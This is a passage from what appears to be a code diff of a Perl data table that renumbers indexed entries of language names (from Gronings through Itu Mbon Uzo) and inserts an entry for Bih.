+   q(2598) => [
       q(Gronings),
       ],
-   q(2597) => [
+   q(2599) => [
       q(Gavar),
       ],
-   q(2598) => [
+   q(2600) => [
       q(Gorowa),
       ],
-   q(2599) => [
+   q(2601) => [
       q(Gobu),
       ],
-   q(2600) => [
+   q(2602) => [
       q(Goundo),
       ],
-   q(2601) => [
+   q(2603) => [
       q(Gozarkhani),
       ],
-   q(2602) => [
+   q(2604) => [
       q(Gupa-Abawa),
       ],
-   q(2603) => [
+   q(2605) => [
       q(Ghanaian Pidgin English),
       ],
-   q(2604) => [
+   q(2606) => [
       q(Taiap),
       ],
-   q(2605) => [
+   q(2607) => [
       q(Ga'anda),
       ],
-   q(2606) => [
+   q(2608) => [
       q(Guiqiong),
       ],
-   q(2607) => [
+   q(2609) => [
       q(Guana (Brazil)),
       ],
-   q(2608) => [
+   q(2610) => [
       q(Gor),
       ],
-   q(2609) => [
+   q(2611) => [
       q(Qau),
       ],
-   q(2610) => [
+   q(2612) => [
       q(Rajput Garasia),
       ],
-   q(2611) => [
+   q(2613) => [
       q(Guruntum-Mbaaru),
       ],
-   q(2612) => [
+   q(2614) => [
       q(Madi),
       ],
-   q(2613) => [
+   q(2615) => [
       q(Gbiri-Niragu),
       ],
-   q(2614) => [
+   q(2616) => [
       q(Ghari),
       ],
-   q(2615) => [
+   q(2617) => [
       q(Southern Grebo),
       ],
-   q(2616) => [
+   q(2618) => [
       q(Kota Marudu Talantang),
       ],
-   q(2617) => [
+   q(2619) => [
       q(Groma),
       ],
-   q(2618) => [
+   q(2620) => [
       q(Gorovu),
       ],
-   q(2619) => [
+   q(2621) => [
       q(Taznatit),
       ],
-   q(2620) => [
+   q(2622) => [
       q(Gresi),
       ],
-   q(2621) => [
+   q(2623) => [
       q(Garo),
       ],
-   q(2622) => [
+   q(2624) => [
       q(Kistane),
       ],
-   q(2623) => [
+   q(2625) => [
       q(Central Grebo),
       ],
-   q(2624) => [
+   q(2626) => [
       q(Gweda),
       ],
-   q(2625) => [
+   q(2627) => [
       q(Guriaso),
       ],
-   q(2626) => [
+   q(2628) => [
       q(Barclayville Grebo),
       ],
-   q(2627) => [
+   q(2629) => [
       q(Guramalum),
       ],
-   q(2628) => [
+   q(2630) => [
       q(Ghanaian Sign Language),
       ],
-   q(2629) => [
+   q(2631) => [
       q(German Sign Language),
       ],
-   q(2630) => [
+   q(2632) => [
       q(Gusilay),
       ],
-   q(2631) => [
+   q(2633) => [
       q(Guatemalan Sign Language),
       ],
-   q(2632) => [
+   q(2634) => [
       q(Nema),
       q(Gusan),
       ],
-   q(2633) => [
+   q(2635) => [
       q(Southwest Gbaya),
       ],
-   q(2634) => [
+   q(2636) => [
       q(Wasembo),
       ],
-   q(2635) => [
+   q(2637) => [
       q(Greek Sign Language),
       ],
-   q(2636) => [
+   q(2638) => [
       q(Guato),
       ],
-   q(2637) => [
+   q(2639) => [
       q(Aghu-Tharnggala),
       ],
-   q(2638) => [
+   q(2640) => [
       q(Shiki),
       ],
-   q(2639) => [
+   q(2641) => [
       q(Guajajara),
       ],
-   q(2640) => [
+   q(2642) => [
       q(Wayuu),
       ],
-   q(2641) => [
+   q(2643) => [
       q(Yocoboue Dida),
       ],
-   q(2642) => [
+   q(2644) => [
       q(Gurinji),
       ],
-   q(2643) => [
+   q(2645) => [
       q(Gupapuyngu),
       ],
-   q(2644) => [
+   q(2646) => [
       q(Paraguayan Guarani),
       ],
-   q(2645) => [
+   q(2647) => [
       q(Guahibo),
       ],
-   q(2646) => [
+   q(2648) => [
       q(Eastern Bolivian Guarani),
       ],
-   q(2647) => [
+   q(2649) => [
       q(Gumuz),
       ],
-   q(2648) => [
+   q(2650) => [
       q(Sea Island Creole English),
       ],
-   q(2649) => [
+   q(2651) => [
       q(Guambiano),
       ],
-   q(2650) => [
+   q(2652) => [
       q(Mbya Guarani),
       ],
-   q(2651) => [
+   q(2653) => [
       q(Guayabero),
       ],
-   q(2652) => [
+   q(2654) => [
       q(Gunwinggu),
       ],
-   q(2653) => [
+   q(2655) => [
       q(Ache),
       ],
-   q(2654) => [
+   q(2656) => [
       q(Farefare),
       ],
-   q(2655) => [
+   q(2657) => [
       q(Guinean Sign Language),
       ],
-   q(2656) => [
+   q(2658) => [
       q(Maleku Jaika),
       ],
-   q(2657) => [
+   q(2659) => [
       q(Yanomamo),
       ],
-   q(2658) => [
+   q(2660) => [
       q(Gun),
       ],
-   q(2659) => [
+   q(2661) => [
       q(Gourmanchema),
       ],
-   q(2660) => [
+   q(2662) => [
       q(Gusii),
       q(Ekegusii),
       ],
-   q(2661) => [
+   q(2663) => [
       q(Guana (Paraguay)),
       ],
-   q(2662) => [
+   q(2664) => [
       q(Guanano),
       ],
-   q(2663) => [
+   q(2665) => [
       q(Duwet),
       ],
-   q(2664) => [
+   q(2666) => [
       q(Golin),
       ],
-   q(2665) => [
+   q(2667) => [
       q(Guaja),
       ],
-   q(2666) => [
+   q(2668) => [
       q(Gulay),
       ],
-   q(2667) => [
+   q(2669) => [
       q(Gurmana),
       ],
-   q(2668) => [
+   q(2670) => [
       q(Kuku-Yalanji),
       ],
-   q(2669) => [
+   q(2671) => [
       q(Gaviao Do Jiparana),
       ],
-   q(2670) => [
+   q(2672) => [
       q(Para Gaviao),
       ],
-   q(2671) => [
+   q(2673) => [
       q(Gurung),
       ],
-   q(2672) => [
+   q(2674) => [
       q(Gumawana),
       ],
-   q(2673) => [
+   q(2675) => [
       q(Guyani),
       ],
-   q(2674) => [
+   q(2676) => [
       q(Mbato),
       ],
-   q(2675) => [
+   q(2677) => [
       q(Gwa),
       ],
-   q(2676) => [
+   q(2678) => [
       q(Kalami),
       ],
-   q(2677) => [
+   q(2679) => [
       q(Gawwada),
       ],
-   q(2678) => [
+   q(2680) => [
       q(Gweno),
       ],
-   q(2679) => [
+   q(2681) => [
       q(Gowro),
       ],
-   q(2680) => [
+   q(2682) => [
       q(Moo),
       ],
-   q(2681) => [
+   q(2683) => [
       q(/Gwi),
       q(Gwi),
       ],
-   q(2682) => [
+   q(2684) => [
       q(Awngthim),
       ],
-   q(2683) => [
+   q(2685) => [
       q(Gwandara),
       ],
-   q(2684) => [
+   q(2686) => [
       q(Gwere),
       ],
-   q(2685) => [
+   q(2687) => [
       q(Gawar-Bati),
       ],
-   q(2686) => [
+   q(2688) => [
       q(Guwamu),
       ],
-   q(2687) => [
+   q(2689) => [
       q(Kwini),
       ],
-   q(2688) => [
+   q(2690) => [
       q(Gua),
       ],
-   q(2689) => [
+   q(2691) => [
       q(We Southern),
       ],
-   q(2690) => [
+   q(2692) => [
       q(Northwest Gbaya),
       ],
-   q(2691) => [
+   q(2693) => [
       q(Garus),
       ],
-   q(2692) => [
+   q(2694) => [
       q(Kayardild),
       ],
-   q(2693) => [
+   q(2695) => [
       q(Gyem),
       ],
-   q(2694) => [
+   q(2696) => [
       q(Gungabula),
       ],
-   q(2695) => [
+   q(2697) => [
       q(Gbayi),
       ],
-   q(2696) => [
+   q(2698) => [
       q(Gyele),
       ],
-   q(2697) => [
+   q(2699) => [
       q(Gayil),
       ],
-   q(2698) => [
+   q(2700) => [
       q(Ngabere),
       ],
-   q(2699) => [
+   q(2701) => [
       q(Guyanese Creole English),
       ],
-   q(2700) => [
+   q(2702) => [
       q(Guarayu),
       ],
-   q(2701) => [
+   q(2703) => [
       q(Gunya),
       ],
-   q(2702) => [
+   q(2704) => [
       q(Ganza),
       ],
-   q(2703) => [
+   q(2705) => [
       q(Gazi),
       ],
-   q(2704) => [
+   q(2706) => [
       q(Gane),
       ],
-   q(2705) => [
+   q(2707) => [
       q(Han),
       ],
-   q(2706) => [
+   q(2708) => [
       q(Hanoi Sign Language),
       ],
-   q(2707) => [
+   q(2709) => [
       q(Gurani),
       ],
-   q(2708) => [
+   q(2710) => [
       q(Hatam),
       ],
-   q(2709) => [
+   q(2711) => [
       q(Eastern Oromo),
       ],
-   q(2710) => [
+   q(2712) => [
       q(Haiphong Sign Language),
       ],
-   q(2711) => [
+   q(2713) => [
       q(Hanga),
       ],
-   q(2712) => [
+   q(2714) => [
       q(Hahon),
       ],
-   q(2713) => [
+   q(2715) => [
       q(Hajong),
       ],
-   q(2714) => [
+   q(2716) => [
       q(Hakka Chinese),
       ],
-   q(2715) => [
+   q(2717) => [
       q(Halang),
       ],
-   q(2716) => [
+   q(2718) => [
       q(Hewa),
       ],
-   q(2717) => [
+   q(2719) => [
       q(Hangaza),
       ],
-   q(2718) => [
+   q(2720) => [
       q(Hako),
       ],
-   q(2719) => [
+   q(2721) => [
       q(Hupla),
       ],
-   q(2720) => [
+   q(2722) => [
       q(Ha),
       ],
-   q(2721) => [
+   q(2723) => [
       q(Harari),
       ],
-   q(2722) => [
+   q(2724) => [
       q(Haisla),
       ],
-   q(2723) => [
+   q(2725) => [
       q(Havu),
       ],
-   q(2724) => [
+   q(2726) => [
       q(Southern Haida),
       ],
-   q(2725) => [
+   q(2727) => [
       q(Haya),
       ],
-   q(2726) => [
+   q(2728) => [
       q(Hazaragi),
       ],
-   q(2727) => [
+   q(2729) => [
       q(Hamba),
       ],
-   q(2728) => [
+   q(2730) => [
       q(Huba),
       ],
-   q(2729) => [
+   q(2731) => [
       q(Heiban),
       ],
-   q(2730) => [
+   q(2732) => [
       q(Ancient Hebrew),
       ],
-   q(2731) => [
+   q(2733) => [
       q(Habu),
       ],
-   q(2732) => [
+   q(2734) => [
       q(Andaman Creole Hindi),
       ],
-   q(2733) => [
+   q(2735) => [
       q(Huichol),
       ],
-   q(2734) => [
+   q(2736) => [
       q(Northern Haida),
       ],
-   q(2735) => [
+   q(2737) => [
       q(Honduras Sign Language),
       ],
-   q(2736) => [
+   q(2738) => [
       q(Hadiyya),
       ],
-   q(2737) => [
+   q(2739) => [
       q(Northern Qiandong Miao),
       ],
-   q(2738) => [
+   q(2740) => [
       q(Herde),
       ],
-   q(2739) => [
+   q(2741) => [
       q(Helong),
       ],
-   q(2740) => [
+   q(2742) => [
       q(Hehe),
       ],
-   q(2741) => [
+   q(2743) => [
       q(Heiltsuk),
       ],
-   q(2742) => [
+   q(2744) => [
       q(Hemba),
       ],
-   q(2743) => [
+   q(2745) => [
       q(Hai//om),
       q(Haiom),
       ],
-   q(2744) => [
+   q(2746) => [
       q(Haigwai),
       ],
-   q(2745) => [
+   q(2747) => [
       q(Hoia Hoia),
       ],
-   q(2746) => [
+   q(2748) => [
       q(Kerak),
       ],
-   q(2747) => [
+   q(2749) => [
       q(Hoyahoya),
       ],
-   q(2748) => [
+   q(2750) => [
       q(Lamang),
       ],
-   q(2749) => [
+   q(2751) => [
       q(Hibito),
       ],
-   q(2750) => [
+   q(2752) => [
       q(Hidatsa),
       ],
-   q(2751) => [
+   q(2753) => [
       q(Fiji Hindi),
       ],
-   q(2752) => [
+   q(2754) => [
       q(Kamwe),
       ],
-   q(2753) => [
+   q(2755) => [
       q(Pamosu),
       ],
-   q(2754) => [
+   q(2756) => [
       q(Hinduri),
       ],
-   q(2755) => [
+   q(2757) => [
       q(Hijuk),
       ],
-   q(2756) => [
+   q(2758) => [
       q(Seit-Kaitetu),
       ],
-   q(2757) => [
+   q(2759) => [
       q(Tsoa),
       ],
-   q(2758) => [
+   q(2760) => [
       q(Himarima),
       ],
-   q(2759) => [
+   q(2761) => [
       q(Hiw),
       ],
-   q(2760) => [
+   q(2762) => [
       q(Hixkaryana),
       ],
-   q(2761) => [
+   q(2763) => [
       q(Haji),
       ],
-   q(2762) => [
+   q(2764) => [
       q(Kahe),
       ],
-   q(2763) => [
+   q(2765) => [
       q(Hunde),
       ],
-   q(2764) => [
+   q(2766) => [
       q(Hunjara-Kaina Ke),
       ],
-   q(2765) => [
+   q(2767) => [
       q(Hong Kong Sign Language),
       q(Heung Kong Sau Yue),
       ],
-   q(2766) => [
+   q(2768) => [
       q(Halia),
       ],
-   q(2767) => [
+   q(2769) => [
       q(Halbi),
       ],
-   q(2768) => [
+   q(2770) => [
       q(Halang Doan),
       ],
-   q(2769) => [
+   q(2771) => [
       q(Hlersu),
       ],
-   q(2770) => [
+   q(2772) => [
       q(Matu Chin),
       ],
-   q(2771) => [
+   q(2773) => [
       q(Hieroglyphic Luwian),
       ],
-   q(2772) => [
+   q(2774) => [
       q(Southern Mashan Hmong),
       q(Southern Mashan Miao),
       ],
-   q(2773) => [
+   q(2775) => [
       q(Humburi Senni Songhay),
       ],
-   q(2774) => [
+   q(2776) => [
       q(Central Huishui Hmong),
       q(Central Huishui Miao),
       ],
-   q(2775) => [
+   q(2777) => [
       q(Large Flowery Miao),
       q(A-hmaos),
       q(Da-Hua Miao),
       ],
-   q(2776) => [
+   q(2778) => [
       q(Eastern Huishui Hmong),
       q(Eastern Huishui Miao),
       ],
-   q(2777) => [
+   q(2779) => [
       q(Hmong Don),
       ],
-   q(2778) => [
+   q(2780) => [
       q(Southwestern Guiyang Hmong),
       ],
-   q(2779) => [
+   q(2781) => [
       q(Southwestern Huishui Hmong),
       q(Southwestern Huishui Miao),
       ],
-   q(2780) => [
+   q(2782) => [
       q(Northern Huishui Hmong),
       q(Northern Huishui Miao),
       ],
-   q(2781) => [
+   q(2783) => [
       q(Ge),
       q(Gejia),
       ],
-   q(2782) => [
+   q(2784) => [
       q(Maek),
       ],
-   q(2783) => [
+   q(2785) => [
       q(Luopohe Hmong),
       q(Luopohe Miao),
       ],
-   q(2784) => [
+   q(2786) => [
       q(Central Mashan Hmong),
       q(Central Mashan Miao),
       ],
-   q(2785) => [
+   q(2787) => [
       q(Northern Mashan Hmong),
       q(Northern Mashan Miao),
       ],
-   q(2786) => [
+   q(2788) => [
       q(Eastern Qiandong Miao),
       ],
-   q(2787) => [
+   q(2789) => [
       q(Hmar),
       ],
-   q(2788) => [
+   q(2790) => [
       q(Southern Qiandong Miao),
       ],
-   q(2789) => [
+   q(2791) => [
       q(Hamtai),
       ],
-   q(2790) => [
+   q(2792) => [
       q(Hamap),
       ],
-   q(2791) => [
+   q(2793) => [
       q(Hmong Do),
       ],
-   q(2792) => [
+   q(2794) => [
       q(Western Mashan Hmong),
       q(Western Mashan Miao),
       ],
-   q(2793) => [
+   q(2795) => [
       q(Southern Guiyang Hmong),
       q(Southern Guiyang Miao),
       ],
-   q(2794) => [
+   q(2796) => [
       q(Hmong Shua),
       q(Sinicized Miao),
       ],
-   q(2795) => [
+   q(2797) => [
       q(Mina (Cameroon)),
       ],
-   q(2796) => [
+   q(2798) => [
       q(Southern Hindko),
       ],
-   q(2797) => [
+   q(2799) => [
       q(Chhattisgarhi),
       ],
-   q(2798) => [
+   q(2800) => [
       q(//Ani),
       q(Ani),
       ],
-   q(2799) => [
+   q(2801) => [
       q(Hani),
       ],
-   q(2800) => [
+   q(2802) => [
       q(Hmong Njua),
       q(Mong Leng),
       q(Mong Njua),
       ],
-   q(2801) => [
+   q(2803) => [
       q(Hanunoo),
       ],
-   q(2802) => [
+   q(2804) => [
       q(Northern Hindko),
       ],
-   q(2803) => [
+   q(2805) => [
       q(Caribbean Hindustani),
       ],
-   q(2804) => [
+   q(2806) => [
       q(Hung),
       ],
-   q(2805) => [
+   q(2807) => [
       q(Hoava),
       ],
-   q(2806) => [
+   q(2808) => [
       q(Mari (Madang Province)),
       ],
-   q(2807) => [
+   q(2809) => [
       q(Ho),
       ],
-   q(2808) => [
+   q(2810) => [
       q(Holma),
       ],
-   q(2809) => [
+   q(2811) => [
       q(Horom),
       ],
-   q(2810) => [
+   q(2812) => [
       q(Hobyot),
       ],
-   q(2811) => [
+   q(2813) => [
       q(Holikachuk),
       ],
-   q(2812) => [
+   q(2814) => [
       q(Hadothi),
       q(Haroti),
       ],
-   q(2813) => [
+   q(2815) => [
       q(Holu),
       ],
-   q(2814) => [
+   q(2816) => [
       q(Homa),
       ],
-   q(2815) => [
+   q(2817) => [
       q(Holoholo),
       ],
-   q(2816) => [
+   q(2818) => [
       q(Hopi),
       ],
-   q(2817) => [
+   q(2819) => [
       q(Horo),
       ],
-   q(2818) => [
+   q(2820) => [
       q(Ho Chi Minh City Sign Language),
       ],
-   q(2819) => [
+   q(2821) => [
       q(Hote),
       q(Male),
       ],
-   q(2820) => [
+   q(2822) => [
       q(Hovongan),
       ],
-   q(2821) => [
+   q(2823) => [
       q(Honi),
       ],
-   q(2822) => [
+   q(2824) => [
       q(Holiya),
       ],
-   q(2823) => [
+   q(2825) => [
       q(Hozo),
       ],
-   q(2824) => [
+   q(2826) => [
       q(Hpon),
       ],
-   q(2825) => [
+   q(2827) => [
       q(Hawai'i Sign Language (HSL)),
       q(Hawai'i Pidgin Sign Language),
       ],
-   q(2826) => [
+   q(2828) => [
       q(Hrangkhol),
       ],
-   q(2827) => [
+   q(2829) => [
       q(Niwer Mil),
       ],
-   q(2828) => [
+   q(2830) => [
       q(Hre),
       ],
-   q(2829) => [
+   q(2831) => [
       q(Haruku),
       ],
-   q(2830) => [
+   q(2832) => [
       q(Horned Miao),
       ],
-   q(2831) => [
+   q(2833) => [
       q(Haroi),
       ],
-   q(2832) => [
+   q(2834) => [
       q(Nhirrpi),
       ],
-   q(2833) => [
+   q(2835) => [
       q(Hertevin),
       ],
-   q(2834) => [
+   q(2836) => [
       q(Hruso),
       ],
-   q(2835) => [
+   q(2837) => [
       q(Warwar Feni),
       ],
-   q(2836) => [
+   q(2838) => [
       q(Hunsrik),
       ],
-   q(2837) => [
+   q(2839) => [
       q(Harzani),
       ],
-   q(2838) => [
+   q(2840) => [
       q(Hungarian Sign Language),
       ],
-   q(2839) => [
+   q(2841) => [
       q(Hausa Sign Language),
       ],
-   q(2840) => [
+   q(2842) => [
       q(Xiang Chinese),
       ],
-   q(2841) => [
+   q(2843) => [
       q(Harsusi),
       ],
-   q(2842) => [
+   q(2844) => [
       q(Hoti),
       ],
-   q(2843) => [
+   q(2845) => [
       q(Minica Huitoto),
       ],
-   q(2844) => [
+   q(2846) => [
       q(Hadza),
       ],
-   q(2845) => [
+   q(2847) => [
       q(Hitu),
       ],
-   q(2846) => [
+   q(2848) => [
       q(Middle Hittite),
       ],
-   q(2847) => [
+   q(2849) => [
       q(Huambisa),
       ],
-   q(2848) => [
+   q(2850) => [
       q(=/Hua),
       q(Hua),
       ],
-   q(2849) => [
+   q(2851) => [
       q(Huaulu),
       ],
-   q(2850) => [
+   q(2852) => [
       q(San Francisco Del Mar Huave),
       ],
-   q(2851) => [
+   q(2853) => [
       q(Humene),
       ],
-   q(2852) => [
+   q(2854) => [
       q(Huachipaeri),
       ],
-   q(2853) => [
+   q(2855) => [
       q(Huilliche),
       ],
-   q(2854) => [
+   q(2856) => [
       q(Huli),
       ],
-   q(2855) => [
+   q(2857) => [
       q(Northern Guiyang Hmong),
       q(Northern Guiyang Miao),
       ],
-   q(2856) => [
+   q(2858) => [
       q(Hulung),
       ],
-   q(2857) => [
+   q(2859) => [
       q(Hula),
       ],
-   q(2858) => [
+   q(2860) => [
       q(Hungana),
       ],
-   q(2859) => [
+   q(2861) => [
       q(Hu),
       ],
-   q(2860) => [
+   q(2862) => [
       q(Tsat),
       ],
-   q(2861) => [
+   q(2863) => [
       q(Halkomelem),
       ],
-   q(2862) => [
+   q(2864) => [
       q(Huastec),
       ],
-   q(2863) => [
+   q(2865) => [
       q(Humla),
       ],
-   q(2864) => [
+   q(2866) => [
       q(Murui Huitoto),
       ],
-   q(2865) => [
+   q(2867) => [
       q(San Mateo Del Mar Huave),
       ],
-   q(2866) => [
+   q(2868) => [
       q(Hukumina),
       ],
-   q(2867) => [
+   q(2869) => [
       q(Nupode Huitoto),
       ],
-   q(2868) => [
+   q(2870) => [
       q(Hulaula),
       ],
-   q(2869) => [
+   q(2871) => [
       q(Hunzib),
       ],
-   q(2870) => [
+   q(2872) => [
       q(Haitian Vodoun Culture Language),
       ],
-   q(2871) => [
+   q(2873) => [
       q(San Dionisio Del Mar Huave),
       ],
-   q(2872) => [
+   q(2874) => [
       q(Haveke),
       ],
-   q(2873) => [
+   q(2875) => [
       q(Sabu),
       ],
-   q(2874) => [
+   q(2876) => [
       q(Santa Maria Del Mar Huave),
       ],
-   q(2875) => [
+   q(2877) => [
       q(Wane),
       ],
-   q(2876) => [
+   q(2878) => [
       q(Hawai'i Creole English),
       q(Hawai'i Pidgin),
       ],
-   q(2877) => [
+   q(2879) => [
       q(Hwana),
       ],
-   q(2878) => [
+   q(2880) => [
       q(Hya),
       ],
-   q(2879) => [
+   q(2881) => [
       q(Iaai),
       ],
-   q(2880) => [
+   q(2882) => [
       q(Iatmul),
       ],
-   q(2881) => [
+   q(2883) => [
       q(Purari),
       ],
-   q(2882) => [
+   q(2884) => [
       q(Ibibio),
       ],
-   q(2883) => [
+   q(2885) => [
       q(Iwaidja),
       ],
-   q(2884) => [
+   q(2886) => [
       q(Akpes),
       ],
-   q(2885) => [
+   q(2887) => [
       q(Ibanag),
       ],
-   q(2886) => [
+   q(2888) => [
+      q(Bih),
+      ],
+   q(2889) => [
       q(Ibaloi),
       ],
-   q(2887) => [
+   q(2890) => [
       q(Agoi),
       ],
-   q(2888) => [
+   q(2891) => [
       q(Ibino),
       ],
-   q(2889) => [
+   q(2892) => [
       q(Ibuoro),
       ],
-   q(2890) => [
+   q(2893) => [
       q(Ibu),
       ],
-   q(2891) => [
+   q(2894) => [
       q(Ibani),
       ],
-   q(2892) => [
+   q(2895) => [
       q(Ede Ica),
       ],
-   q(2893) => [
+   q(2896) => [
       q(Etkywan),
       ],
-   q(2894) => [
+   q(2897) => [
       q(Icelandic Sign Language),
       ],
-   q(2895) => [
+   q(2898) => [
       q(Islander Creole English),
       ],
-   q(2896) => [
+   q(2899) => [
       q(Idakho-Isukha-Tiriki),
       q(Luidakho-Luisukha-Lutirichi),
       ],
-   q(2897) => [
+   q(2900) => [
       q(Indo-Portuguese),
       ],
-   q(2898) => [
+   q(2901) => [
       q(Idon),
       q(Ajiya),
       ],
-   q(2899) => [
+   q(2902) => [
       q(Ede Idaca),
       ],
-   q(2900) => [
+   q(2903) => [
       q(Idere),
       ],
-   q(2901) => [
+   q(2904) => [
       q(Idi),
       ],
-   q(2902) => [
+   q(2905) => [
       q(Indri),
       ],
-   q(2903) => [
+   q(2906) => [
       q(Idesa),
       ],
-   q(2904) => [
+   q(2907) => [
       q(Idate),
       ],
-   q(2905) => [
+   q(2908) => [
       q(Idoma),
       ],
-   q(2906) => [
+   q(2909) => [
       q(Amganad Ifugao),
       ],
-   q(2907) => [
+   q(2910) => [
       q(Batad Ifugao),
       q(Ayangan Ifugao),
       ],
-   q(2908) => [
+   q(2911) => [
       q(Ife),
       ],
-   q(2909) => [
+   q(2912) => [
       q(Ifo),
       ],
-   q(2910) => [
+   q(2913) => [
       q(Tuwali Ifugao),
       ],
-   q(2911) => [
+   q(2914) => [
       q(Teke-Fuumu),
       ],
-   q(2912) => [
+   q(2915) => [
       q(Mayoyao Ifugao),
       ],
-   q(2913) => [
+   q(2916) => [
       q(Keley-I Kallahan),
       ],
-   q(2914) => [
+   q(2917) => [
       q(Ebira),
       ],
-   q(2915) => [
+   q(2918) => [
       q(Igede),
       ],
-   q(2916) => [
+   q(2919) => [
       q(Igana),
       ],
-   q(2917) => [
+   q(2920) => [
       q(Igala),
       ],
-   q(2918) => [
+   q(2921) => [
       q(Kanggape),
       ],
-   q(2919) => [
+   q(2922) => [
       q(Ignaciano),
       ],
-   q(2920) => [
+   q(2923) => [
       q(Isebe),
       ],
-   q(2921) => [
+   q(2924) => [
       q(Interglossa),
       ],
-   q(2922) => [
+   q(2925) => [
       q(Igwe),
       ],
-   q(2923) => [
+   q(2926) => [
       q(Iha Based Pidgin),
       ],
-   q(2924) => [
+   q(2927) => [
       q(Ihievbe),
       ],
-   q(2925) => [
+   q(2928) => [
       q(Iha),
       ],
-   q(2926) => [
+   q(2929) => [
       q(Bidhawal),
       ],
-   q(2927) => [
+   q(2930) => [
       q(Thiin),
       ],
-   q(2928) => [
+   q(2931) => [
       q(Izon),
       ],
-   q(2929) => [
+   q(2932) => [
       q(Biseni),
       ],
-   q(2930) => [
+   q(2933) => [
       q(Ede Ije),
       ],
-   q(2931) => [
+   q(2934) => [
       q(Kalabari),
       ],
-   q(2932) => [
+   q(2935) => [
       q(Southeast Ijo),
       ],
-   q(2933) => [
+   q(2936) => [
       q(Eastern Canadian Inuktitut),
       ],
-   q(2934) => [
+   q(2937) => [
       q(Iko),
       ],
-   q(2935) => [
+   q(2938) => [
       q(Ika),
       ],
-   q(2936) => [
+   q(2939) => [
       q(Ikulu),
       ],
-   q(2937) => [
+   q(2940) => [
       q(Olulumo-Ikom),
       ],
-   q(2938) => [
+   q(2941) => [
       q(Ikpeshi),
       ],
-   q(2939) => [
+   q(2942) => [
       q(Ikaranggal),
       ],
-   q(2940) => [
+   q(2943) => [
       q(Inuit Sign Language),
       ],
-   q(2941) => [
+   q(2944) => [
       q(Inuinnaqtun),
       q(Western Canadian Inuktitut),
       ],
-   q(2942) => [
+   q(2945) => [
       q(Iku-Gora-Ankwa),
       ],
-   q(2943) => [
+   q(2946) => [
       q(Ikwere),
       ],
-   q(2944) => [
+   q(2947) => [
       q(Ik),
       ],
-   q(2945) => [
+   q(2948) => [
       q(Ikizu),
       ],
-   q(2946) => [
+   q(2949) => [
       q(Ile Ape),
       ],
-   q(2947) => [
+   q(2950) => [
       q(Ila),
       ],
-   q(2948) => [
+   q(2951) => [
       q(Garig-Ilgar),
       ],
-   q(2949) => [
+   q(2952) => [
       q(Ili Turki),
       ],
-   q(2950) => [
+   q(2953) => [
       q(Ilongot),
       ],
-   q(2951) => [
+   q(2954) => [
       q(Iranun (Malaysia)),
       ],
-   q(2952) => [
+   q(2955) => [
       q(Iranun (Philippines)),
       ],
-   q(2953) => [
+   q(2956) => [
       q(International Sign),
       ],
-   q(2954) => [
+   q(2957) => [
       q(Ili'uun),
       ],
-   q(2955) => [
+   q(2958) => [
       q(Ilue),
       ],
-   q(2956) => [
+   q(2959) => [
       q(Mala Malasar),
       ],
-   q(2957) => [
+   q(2960) => [
       q(Anamgura),
       ],
-   q(2958) => [
+   q(2961) => [
       q(Miluk),
       ],
-   q(2959) => [
+   q(2962) => [
       q(Imonda),
       ],
-   q(2960) => [
+   q(2963) => [
       q(Imbongu),
       ],
-   q(2961) => [
+   q(2964) => [
       q(Imroing),
       ],
-   q(2962) => [
+   q(2965) => [
       q(Marsian),
       ],
-   q(2963) => [
+   q(2966) => [
       q(Milyan),
       ],
-   q(2964) => [
+   q(2967) => [
       q(Inga),
       ],
-   q(2965) => [
+   q(2968) => [
       q(Degexit'an),
       ],
-   q(2966) => [
+   q(2969) => [
       q(Jungle Inga),
       ],
-   q(2967) => [
+   q(2970) => [
       q(Indonesian Sign Language),
       ],
-   q(2968) => [
+   q(2971) => [
       q(Minaean),
       ],
-   q(2969) => [
+   q(2972) => [
       q(Isinai),
       ],
-   q(2970) => [
+   q(2973) => [
       q(Inoke-Yate),
       ],
-   q(2971) => [
+   q(2974) => [
       q(Inapari),
       ],
-   q(2972) => [
+   q(2975) => [
       q(Indian Sign Language),
       ],
-   q(2973) => [
+   q(2976) => [
       q(Intha),
       ],
-   q(2974) => [
+   q(2977) => [
       q(Ineseno),
       ],
-   q(2975) => [
+   q(2978) => [
       q(Inor),
       ],
-   q(2976) => [
+   q(2979) => [
       q(Tuma-Irumu),
       ],
-   q(2977) => [
+   q(2980) => [
       q(Iowa-Oto),
       ],
-   q(2978) => [
+   q(2981) => [
       q(Ipili),
       ],
-   q(2979) => [
+   q(2982) => [
       q(Ipiko),
       ],
-   q(2980) => [
+   q(2983) => [
       q(Iquito),
       ],
-   q(2981) => [
+   q(2984) => [
       q(Ikwo),
       ],
-   q(2982) => [
+   q(2985) => [
       q(Iresim),
       ],
-   q(2983) => [
+   q(2986) => [
       q(Irarutu),
       ],
-   q(2984) => [
+   q(2987) => [
       q(Irigwe),
       ],
-   q(2985) => [
+   q(2988) => [
       q(Iraqw),
       ],
-   q(2986) => [
+   q(2989) => [
       q(Irantxe),
       ],
-   q(2987) => [
+   q(2990) => [
       q(Ir),
       ],
-   q(2988) => [
+   q(2991) => [
       q(Irula),
       ],
-   q(2989) => [
+   q(2992) => [
       q(Kamberau),
       ],
-   q(2990) => [
+   q(2993) => [
       q(Iraya),
       ],
-   q(2991) => [
+   q(2994) => [
       q(Isabi),
       ],
-   q(2992) => [
+   q(2995) => [
       q(Isconahua),
       ],
-   q(2993) => [
+   q(2996) => [
       q(Isnag),
       ],
-   q(2994) => [
+   q(2997) => [
       q(Italian Sign Language),
       ],
-   q(2995) => [
+   q(2998) => [
       q(Irish Sign Language),
       ],
-   q(2996) => [
+   q(2999) => [
       q(Esan),
       ],
-   q(2997) => [
+   q(3000) => [
       q(Nkem-Nkum),
       ],
-   q(2998) => [
+   q(3001) => [
       q(Ishkashimi),
       ],
-   q(2999) => [
+   q(3002) => [
       q(Masimasi),
       ],
-   q(3000) => [
+   q(3003) => [
       q(Isanzu),
       ],
-   q(3001) => [
+   q(3004) => [
       q(Isoko),
       ],
-   q(3002) => [
+   q(3005) => [
       q(Israeli Sign Language),
       ],
-   q(3003) => [
+   q(3006) => [
       q(Istriot),
       ],
-   q(3004) => [
+   q(3007) => [
       q(Isu (Menchum Division)),
       ],
-   q(3005) => [
+   q(3008) => [
       q(Binongan Itneg),
       ],
-   q(3006) => [
+   q(3009) => [
       q(Southern Tidung),
       ],
-   q(3007) => [
+   q(3010) => [
       q(Itene),
       ],
-   q(3008) => [
+   q(3011) => [
       q(Inlaod Itneg),
       ],
-   q(3009) => [
+   q(3012) => [
       q(Judeo-Italian),
       ],
-   q(3010) => [
+   q(3013) => [
       q(Itelmen),
       ],
-   q(3011) => [
+   q(3014) => [
       q(Itu Mbon Uzo),
       ],
-   q(3012) => [
+   q(3015) => [
